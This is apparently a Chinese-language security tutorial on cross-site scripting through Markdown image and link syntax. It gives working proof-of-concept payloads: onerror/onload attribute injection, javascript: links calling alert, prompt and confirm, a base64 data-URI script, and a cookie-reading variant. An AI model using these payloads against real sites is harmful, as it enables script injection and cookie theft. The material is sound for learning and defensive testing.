xss 之 Markdown
markdown是一种轻量级标记语言,通过简单语法,可以使文本具有一定格式,最常见于GitHub上readme文件,现这种语言已被广泛使用.
Markdown语法中易于攻击的两种
-
图片
-
链接
1 markdown插入图片
1.1
markdown语法:
![alt 属性文本](图片地址)
使用实例:
![RUNOOB 图标](https://img-pre.ivsky.com/img/tupian/pre/202103/29/haimian-019.jpg)
格式化后:
<p><img src="https://img-pre.ivsky.com/img/tupian/pre/202103/29/haimian-019.jpg" alt="RUNOOB 图标"></p>
1.2
可以尝试通过闭合双引号形成xss
![RUNOOB 图标](" onerror="alert('xss')")
格式化后:
<img src="" onerror="alert('xss')" alt="RUNOOB 图标">
当JavaScript代码直接放置在src或alt属性中时,因为src值为空,因此加载图像将导致代码执行错误,之后执行onerror的语句,形成xss
相同思路,也可以添加onload属性
也可以尝试将[]中的内容逃逸,[]中的内容格式化后出现在alt后
故可以:
![RUNOOB 图标" onload=alert(1)](https://img-pre.ivsky.com/img/tupian/pre/202103/29/haimian-019.jpg)
结果如下:
<p><img src="https://img-pre.ivsky.com/img/tupian/pre/202103/29/haimian-019.jpg" alt="RUNOOB 图标" onload=alert(1)"></p>
可以发现这里出现了字符转义,所以逃逸没有成功,但是可以作为一种攻击的思路
2 markdown也可以实现链接
2.1
markdown语法:
[链接名称](链接地址)
or
<链接地址>
使用实例:
[baidu](https://baidu.com)
or
<https://baidu.com>
格式化后:
<p><a href="https://baidu.com">baidu</a>
or
<a href="https://baidu.com">https://baidu.com</a></p>
2.2
如果我们改变()中的内容
例如:
[baidu](javascript:alert(1))
格式化后:
<a href="javascript:alert(1);">baidu</a>
但是这只是理想中的格式化后结果,但是实际结果会是:
<a href="javascript:alert(1">baidu</a>)
就如以下两个语句:
[baidu](javascript:alert(1))
[baidu](javascript:alert(1))
结果:
3 实现方式
js警报
代码:
[a](javascript:alert(1))
[a](Javascript:alert(1))
格式化:
<a href="javascript:alert(1)">a</a>
<a href="javascript:alert(1)">a</a>
结果:
js提示
代码:
[a](javascript:prompt(document.domain))
格式化:
<a href="javascript:prompt(document.domain)">a</a>
结果:
base64转换
代码:
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
格式化:
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">a</a>
结果:
错误事件处理
代码:
[a](javascript:window.onerror=confirm;throw%20document.cookie)
格式化后:
<a href="javascript:window.onerror=confirm;throw%20document.cookie" >a</a>
结果:
4 总结
- 有的cookie设置了httponly,无法用javascript获取
- 现今诸多网站都会有过滤,HTML白名单,所以限制其实很大
- 尽管xss-markdown限制很多,但是也还是可以作为一种攻击手段
资料参考:
https://cloud.tencent.com/developer/article/1521343
http://www.52bug.cn/hkjs/3292.html
http://kejyun.github.io/website-security-learning-notes/xss/markdown/xss-markdown-link-attack.html